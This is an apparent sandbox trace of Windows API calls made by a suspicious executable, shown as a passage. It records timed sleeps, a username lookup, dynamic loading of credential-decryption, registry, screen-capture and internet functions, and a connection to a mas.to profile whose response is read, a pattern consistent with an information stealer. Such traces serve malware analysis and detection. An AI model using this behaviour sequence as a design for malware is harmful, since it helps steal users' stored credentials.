(dwErrCode=0x0) [0080.388] GetLastError () returned 0x0 [0080.388] SetLastError (dwErrCode=0x0) [0080.388] GetLastError () returned 0x0 [0080.388] SetLastError (dwErrCode=0x0) [0080.388] GetLastError () returned 0x0 [0080.389] SetLastError (dwErrCode=0x0) [0080.389] GetLastError () returned 0x0 [0080.389] SetLastError (dwErrCode=0x0) [0080.389] GetLastError () returned 0x0 [0080.389] SetLastError (dwErrCode=0x0) [0080.389] GetLastError () returned 0x0 [0080.389] SetLastError (dwErrCode=0x0) [0080.389] GetLastError () returned 0x0 [0080.389] SetLastError (dwErrCode=0x0) [0080.389] GetLastError () returned 0x0 [0080.389] SetLastError (dwErrCode=0x0) [0080.389] GetLastError () returned 0x0 [0080.389] SetLastError (dwErrCode=0x0) [0080.389] GetLastError () returned 0x0 [0080.389] SetLastError (dwErrCode=0x0) [0080.389] GetLastError () returned 0x0 [0080.389] SetLastError (dwErrCode=0x0) [0080.389] GetLastError () returned 0x0 [0080.389] SetLastError (dwErrCode=0x0) [0080.389] GetLastError () returned 0x0 [0080.390] SetLastError (dwErrCode=0x0) [0080.393] Sleep (dwMilliseconds=0x6f) [0080.552] Sleep (dwMilliseconds=0x22b) [0081.139] Sleep (dwMilliseconds=0x14d) [0081.515] Sleep (dwMilliseconds=0x6f) [0081.632] Sleep (dwMilliseconds=0x22b) [0082.189] Sleep (dwMilliseconds=0x14d) [0082.568] GetUserNameA (in: lpBuffer=0x19fa58, pcbBuffer=0x19fa54 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x19fa54) returned 1 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x66f1b0 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x5f0540 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x5ef500 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x66f228 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x674e98 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x5e6420 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x5f0460 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x66f318 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x5ee3f8 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x674f18 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x674eb8 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x5ee000 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x66f180 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x66f360 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x66f2b8 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x5eac50 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x66f240 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x66f3c0 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x66f3d8 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x66f270 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x66f3f0 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x66f330 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x674cd8 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x66f300 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x66f3a8 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x66f348 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x66f108 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x66f1f8 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x66f1e0 [0082.584] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x66f390 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x5f04f0 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x5f0500 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x66ee78 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x66f198 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x674318 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x66f258 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x66f1c8 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x66f210 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x66f288 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x674308 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x676988 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x6769a0 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x6768e0 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x676910 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x6768f8 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x674e58 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x6742c8 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x676928 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x6741d8 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x3) returned 0x674328 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x676970 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x674348 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x674378 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x674358 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x674288 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x676940 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x6742d8 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x676958 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x676730 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x6766b8 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x674cb8 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x676868 [0082.585] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x6767a8 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x5eab10 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x5eacc8 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x6767c0 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x4b) returned 0x66f020 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x6766d0 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x676688 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x676898 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x674bd8 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x674b98 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x6741e8 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x66d7e0 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x3e) returned 0x673aa0 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x21) returned 0x676a40 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x66f530 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x2b) returned 0x66d818 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x5eab38 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x75) returned 0x66c938 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x6766e8 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x2d) returned 0x66d850 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x6742a8 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x674228 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x6741f8 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x6774f8 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x674b78 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x26) returned 0x676a10 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x676610 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x674298 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x676808 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x676670 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x17) returned 0x674bb8 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x2b) returned 0x677908 [0082.586] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x6742f8 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x676850 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x6765f8 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x676778 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x677430 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x674cf8 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x677458 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x676718 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x2b) returned 0x6776d8 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x674388 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x6776a0 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x676700 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x674d38 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x674d98 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x676748 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x677390 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x676760 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x2b) returned 0x677b70 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x676880 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x674db8 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x676838 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x21) returned 0x676d10 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x6767d8 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x677710 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x674338 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x677480 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x676790 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x6767f0 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x6768b0 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x6774d0 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x676820 [0082.587] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x674d58 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x6742b8 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x674dd8 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x6742e8 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x674e18 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x674368 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x674bf8 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x674398 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x674c18 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x676640 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x6772f0 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x6768c8 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x674c38 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x6765e0 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x674c58 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x674208 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x674c78 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x674d78 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x21) returned 0x676ce0 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x6743a8 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x674df8 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x674218 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x677368 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x674238 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x6774a8 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x676628 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x674e78 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x676658 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x6748f8 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x6748b8 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x1d) returned 0x6773b8 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x6766a0 [0082.588] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x674898 [0082.589] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x6780e8 [0082.589] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x674918 [0082.589] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x677e18 [0082.589] LocalAlloc (uFlags=0x40, uBytes=0x1d) returned 0x677520 [0082.589] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x6780a0 [0082.589] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x6749f8 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x674248 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x674258 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x674268 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x674a98 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x678058 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x677548 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x677ed8 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x1f) returned 0x677570 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x678088 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x1e) returned 0x677598 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x674278 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x1e) returned 0x677318 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x678818 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x21) returned 0x676ad0 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x677e90 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x678868 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x677fb0 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x678858 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x6788f8 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x6773e0 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x17) returned 0x674af8 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x50) returned 0x66f078 [0082.595] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x677408 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x678010 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x677fc8 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x677fe0 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x6780b8 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x677ef0 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x677f08 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x677ff8 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x1d) returned 0x677340 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x674b58 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x677278 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x6747f8 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x677138 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x678028 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x677f38 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x674ab8 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x674818 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x674b38 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x678040 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x678070 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x674ad8 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x677f98 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x674838 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x677f20 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x677e48 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x6780d0 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x6748d8 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x677f50 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x677e00 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x677f68 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x677e30 [0082.596] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x677f80 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x677e60 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x674938 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x677e78 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x674a78 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x674958 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x674a38 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x674978 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x674858 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x677ea8 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x17) returned 0x6749d8 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x677ec0 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x17) returned 0x674778 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x674878 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x674798 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x678250 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x43) returned 0x66f598 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x42) returned 0x66d920 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x3b) returned 0x6738f0 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x3a) returned 0x673860 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x678370 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x43) returned 0x66d970 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x42) returned 0x66d9c0 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x3b) returned 0x673b30 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x3a) returned 0x673c08 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x674a58 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x43) returned 0x66ebb0 [0082.597] LocalAlloc (uFlags=0x40, uBytes=0x42) returned 0x678d78 [0082.639] LocalAlloc (uFlags=0x40, uBytes=0x3b) returned 0x673db8 [0082.639] LocalAlloc (uFlags=0x40, uBytes=0x3a) returned 0x673e90 [0082.639] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x678340 [0082.639] LocalAlloc (uFlags=0x40, uBytes=0x43) returned 0x679138 [0082.644] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x74650000 [0082.644] GetProcAddress (hModule=0x74650000, lpProcName="LoadLibraryA") returned 0x74674bf0 [0082.644] GetProcAddress (hModule=0x74650000, lpProcName="GetProcAddress") returned 0x746678b0 [0082.644] LoadLibraryA (lpLibFileName="BCRYPT.DLL") returned 0x742c0000 [0082.991] LoadLibraryA (lpLibFileName="CRYPT32.DLL") returned 0x749d0000 [0083.889] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77820000 [0083.889] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x70830000 [0083.889] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x758f0000 [0083.890] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75160000 [0085.690] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74790000 [0085.690] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptCloseAlgorithmProvider") returned 0x742c3c50 [0085.690] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptDestroyKey") returned 0x742c6420 [0085.690] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptOpenAlgorithmProvider") returned 0x742c3760 [0085.690] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptSetProperty") returned 0x742c47e0 [0085.690] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptGenerateSymmetricKey") returned 0x742c4910 [0085.690] GetProcAddress (hModule=0x742c0000, lpProcName="BCryptDecrypt") returned 0x742c4ff0 [0085.690] GetProcAddress (hModule=0x749d0000, lpProcName="CryptUnprotectData") returned 0x749f3140 [0085.691] GetProcAddress (hModule=0x749d0000, lpProcName="CryptStringToBinaryA") returned 0x749ed6d0 [0085.691] GetProcAddress (hModule=0x77820000, lpProcName="RegOpenKeyExA") returned 0x7783f790 [0085.691] GetProcAddress (hModule=0x77820000, lpProcName="RegQueryValueExA") returned 0x7783f500 [0085.691] GetProcAddress (hModule=0x77820000, lpProcName="RegCloseKey") returned 0x7783f620 [0085.691] GetProcAddress (hModule=0x77820000, lpProcName="RegOpenKeyExW") returned 0x7783f350 [0085.691] GetProcAddress (hModule=0x77820000, lpProcName="RegGetValueW") returned 0x77840670 [0085.691] GetProcAddress (hModule=0x77820000, lpProcName="RegEnumKeyExA") returned 0x77841810 [0085.691] GetProcAddress (hModule=0x77820000, lpProcName="RegGetValueA") returned 0x77841060 [0085.692] GetProcAddress (hModule=0x77820000, lpProcName="GetUserNameA") returned 0x77842910 [0085.692] GetProcAddress (hModule=0x77820000, lpProcName="GetCurrentHwProfileA") returned 0x77853a60 [0085.692] GetProcAddress (hModule=0x70830000, lpProcName="InternetCloseHandle") returned 0x708fd200 [0085.692] GetProcAddress (hModule=0x70830000, lpProcName="InternetReadFile") returned 0x708b7320 [0085.692] GetProcAddress (hModule=0x70830000, lpProcName="HttpSendRequestA") returned 0x708f8e60 [0085.692] GetProcAddress (hModule=0x70830000, lpProcName="HttpOpenRequestA") returned 0x70995860 [0085.692] GetProcAddress (hModule=0x70830000, lpProcName="InternetConnectA") returned 0x70970da0 [0085.692] GetProcAddress (hModule=0x70830000, lpProcName="InternetOpenA") returned 0x708f85d0 [0085.693] GetProcAddress (hModule=0x70830000, lpProcName="HttpAddRequestHeadersA") returned 0x708ac3f0 [0085.693] GetProcAddress (hModule=0x70830000, lpProcName="HttpQueryInfoA") returned 0x708d1880 [0085.693] GetProcAddress (hModule=0x70830000, lpProcName="InternetSetFilePointer") returned 0x709710c0 [0085.693] GetProcAddress (hModule=0x70830000, lpProcName="InternetOpenUrlA") returned 0x7087a6c0 [0085.693] GetProcAddress (hModule=0x70830000, lpProcName="InternetSetOptionA") returned 0x708d1dc0 [0085.693] GetProcAddress (hModule=0x758f0000, lpProcName="CreateCompatibleBitmap") returned 0x745a0830 [0085.693] GetProcAddress (hModule=0x758f0000, lpProcName="SelectObject") returned 0x75970440 [0085.693] GetProcAddress (hModule=0x758f0000, lpProcName="BitBlt") returned 0x745a09b0 [0085.693] GetProcAddress (hModule=0x758f0000, lpProcName="DeleteObject") returned 0x75970810 [0085.694] GetProcAddress (hModule=0x758f0000, lpProcName="CreateDCA") returned 0x745a1e00 [0085.694] GetProcAddress (hModule=0x758f0000, lpProcName="GetDeviceCaps") returned 0x745a0700 [0085.694] GetProcAddress (hModule=0x758f0000, lpProcName="CreateCompatibleDC") returned 0x745a0970 [0085.694] GetProcAddress (hModule=0x75160000, lpProcName="CoCreateInstance") returned 0x75530060 [0085.694] GetProcAddress (hModule=0x75160000, lpProcName="CoUninitialize") returned 0x755092a0 [0085.694] GetProcAddress (hModule=0x74790000, lpProcName="GetDesktopWindow") returned 0x747a3470 [0085.694] GetProcAddress (hModule=0x74790000, lpProcName="ReleaseDC") returned 0x7459a580 [0085.695] GetProcAddress (hModule=0x74790000, lpProcName="GetKeyboardLayoutList") returned 0x747c8e70 [0085.695] GetProcAddress (hModule=0x74790000, lpProcName="CharToOemA") returned 0x74812cf0 [0085.695] GetProcAddress (hModule=0x74790000, lpProcName="GetDC") returned 0x7459a680 [0085.695] GetProcAddress (hModule=0x74790000, lpProcName="wsprintfA") returned 0x747c04a0 [0085.695] GetProcAddress (hModule=0x74790000, lpProcName="EnumDisplayDevicesA") returned 0x745a1eb0 [0085.695] GetProcAddress (hModule=0x74790000, lpProcName="GetSystemMetrics") returned 0x747a9160 [0085.711] DeleteUrlCacheEntryA (lpszUrlName="mas.to") returned 0 [0088.219] DeleteUrlCacheEntryA (lpszUrlName="mas.to@killern0") returned 0 [0088.219] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0089.569] InternetConnectA (hInternet=0xcc0004, lpszServerName="mas.to", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x4800000, dwContext=0x0) returned 0xcc0008 [0089.570] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="@killern0", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x4800000, dwContext=0x0) returned 0xcc000c [0089.572] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0094.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19eef8, dwNumberOfBytesToRead=0x7ff, lpdwNumberOfBytesRead=0x19eed8 | out: lpBuffer=0x19eef8*, lpdwNumberOfBytesRead=0x19eed8*=0x7ff) returned 1 [0094.717] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0094.719] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0094.719] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0094.748] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x800) returned 0x2112758 [0094.773] GetLastError () returned 0x0 [0094.773] SetLastError (dwErrCode=0x0) [0094.773] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112758 | out: hHeap=0x2110000) returned 1 [0094.777] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110fd0 [0094.777] Sleep (dwMilliseconds=0x64) [0094.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f75c | out: lpSystemTimeAsFileTime=0x19f75c*(dwLowDateTime=0x3149c3df, dwHighDateTime=0x1d7b3bd)) [0094.964] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2) returned 0x2111008 [0094.964] GetTickCount () returned 0x15a8ecf [0094.964] GetLastError () returned 0x0 [0094.964] SetLastError (dwErrCode=0x0) [0094.964] GetLastError () returned 0x0 [0094.964] SetLastError (dwErrCode=0x0) [0094.968] GetLastError () returned 